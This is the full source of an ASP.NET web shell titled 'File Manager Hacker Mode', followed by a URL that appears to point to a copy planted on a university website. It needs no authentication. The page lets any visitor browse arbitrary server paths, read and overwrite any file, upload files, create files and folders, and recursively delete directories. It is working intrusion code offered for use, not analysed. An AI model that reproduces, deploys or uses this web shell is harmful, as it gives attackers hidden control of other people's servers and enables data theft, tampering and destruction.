<%@ Page Language="C#" %>
<%@ Import Namespace="System.IO" %>
<html>
<head>
<title>💀 File Manager Hacker Mode</title>
<style>
body {
background-color: #111;
color: #00ff00;
font-family: Consolas, monospace;
padding: 20px;
}
a {
color: #00ffff;
text-decoration: none;
}
a:hover {
text-decoration: underline;
}
h3, h4 {
border-bottom: 1px solid #00ff00;
padding-bottom: 5px;
}
input, textarea {
background-color: #000;
color: #00ff00;
border: 1px solid #00ff00;
font-family: Consolas, monospace;
padding: 4px;
}
input[type="submit"] {
background-color: #222;
cursor: pointer;
}
textarea {
width: 100%;
}
ul {
list-style: none;
padding-left: 0;
}
li {
margin-bottom: 4px;
}
</style>
</head>
<body>
<%
string path = Request["path"];
if (string.IsNullOrEmpty(path)) path = Server.MapPath(".");
DirectoryInfo dir = new DirectoryInfo(path);
// Delete
if (Request["delete"] != null) {
string target = Path.Combine(path, Request["delete"]);
try {
if (File.Exists(target)) File.Delete(target);
else if (Directory.Exists(target)) Directory.Delete(target, true);
Response.Write("✅ Deleted: " + Request["delete"] + "<br>");
} catch (Exception ex) {
Response.Write("❌ Delete Error: " + ex.Message + "<br>");
}
}
// Save
if (Request["savefile"] != null) {
string target = Request["savefile"];
string content = Request.Form["filecontent"];
try {
File.WriteAllText(target, content);
Response.Write("✅ Saved: " + Path.GetFileName(target) + "<br>");
} catch (Exception ex) {
Response.Write("❌ Save Error: " + ex.Message + "<br>");
}
}
// Upload
if (Request.Files.Count > 0) {
try {
var file = Request.Files[0];
if (file != null && file.ContentLength > 0) {
string savePath = Path.Combine(path, Path.GetFileName(file.FileName));
file.SaveAs(savePath);
Response.Write("📤 Uploaded: " + file.FileName + "<br>");
}
} catch (Exception ex) {
Response.Write("❌ Upload Error: " + ex.Message + "<br>");
}
}
// Create folder
if (Request["createfolder"] != null) {
string newfolder = Request["newfolder"];
if (!string.IsNullOrEmpty(newfolder)) {
string folderPath = Path.Combine(path, newfolder);
try {
Directory.CreateDirectory(folderPath);
Response.Write("📁 Created: " + newfolder + "<br>");
} catch (Exception ex) {
Response.Write("❌ Folder Error: " + ex.Message + "<br>");
}
}
}
// Create file
if (Request["createfile"] != null) {
string newfile = Request["newfile"];
if (!string.IsNullOrEmpty(newfile)) {
string filePath = Path.Combine(path, newfile);
try {
if (!File.Exists(filePath)) {
File.WriteAllText(filePath, "");
Response.Write("📄 Created file: " + newfile + "<br>");
} else {
Response.Write("⚠️ File already exists: " + newfile + "<br>");
}
} catch (Exception ex) {
Response.Write("❌ File Create Error: " + ex.Message + "<br>");
}
}
}
%>
<h3>📂 Path: <%= path %></h3>
<% if (dir.Parent != null) { %>
<a href="?path=<%= dir.Parent.FullName %>">⬅️ Up</a><br><br>
<% } %>
<h4>📁 Folders</h4>
<ul>
<% foreach (var d in dir.GetDirectories()) { %>
<li>
<a href='?path=<%= d.FullName %>'>[DIR] <%= d.Name %></a> —
<a href='?path=<%= path %>&delete=<%= d.Name %>'>[Delete]</a>
</li>
<% } %>
</ul>
<h4>📄 Files</h4>
<ul>
<% foreach (var f in dir.GetFiles()) { %>
<li>
<a href='?path=<%= path %>&edit=<%= f.FullName %>'><%= f.Name %></a> —
<a href='?path=<%= path %>&delete=<%= f.Name %>'>[Delete]</a>
</li>
<% } %>
</ul>
<h4>📤 Upload File</h4>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Upload">
</form>
<h4>📁 Create Folder</h4>
<form method="post">
<input type="text" name="newfolder" placeholder="Folder name">
<input type="submit" name="createfolder" value="Create">
</form>
<h4>📄 Create New File</h4>
<form method="post">
<input type="text" name="newfile" placeholder="File name (e.g. test.txt)">
<input type="submit" name="createfile" value="Create">
</form>
<%
string editPath = Request["edit"];
if (!string.IsNullOrEmpty(editPath) && File.Exists(editPath)) {
try {
string content = File.ReadAllText(editPath);
%>
<hr>
<h4>📝 Editing: <%= Path.GetFileName(editPath) %></h4>
<form method="post">
<input type="hidden" name="savefile" value="<%= editPath %>">
<textarea name="filecontent" rows="20"><%= Server.HtmlEncode(content) %></textarea><br>
<input type="submit" value="💾 Save">
</form>
<%
} catch (Exception ex) {
Response.Write("❌ Read Error: " + ex.Message + "<br>");
}
}
%>
</body>
</html>
https://fr.dut.udn.vn/badak.aspx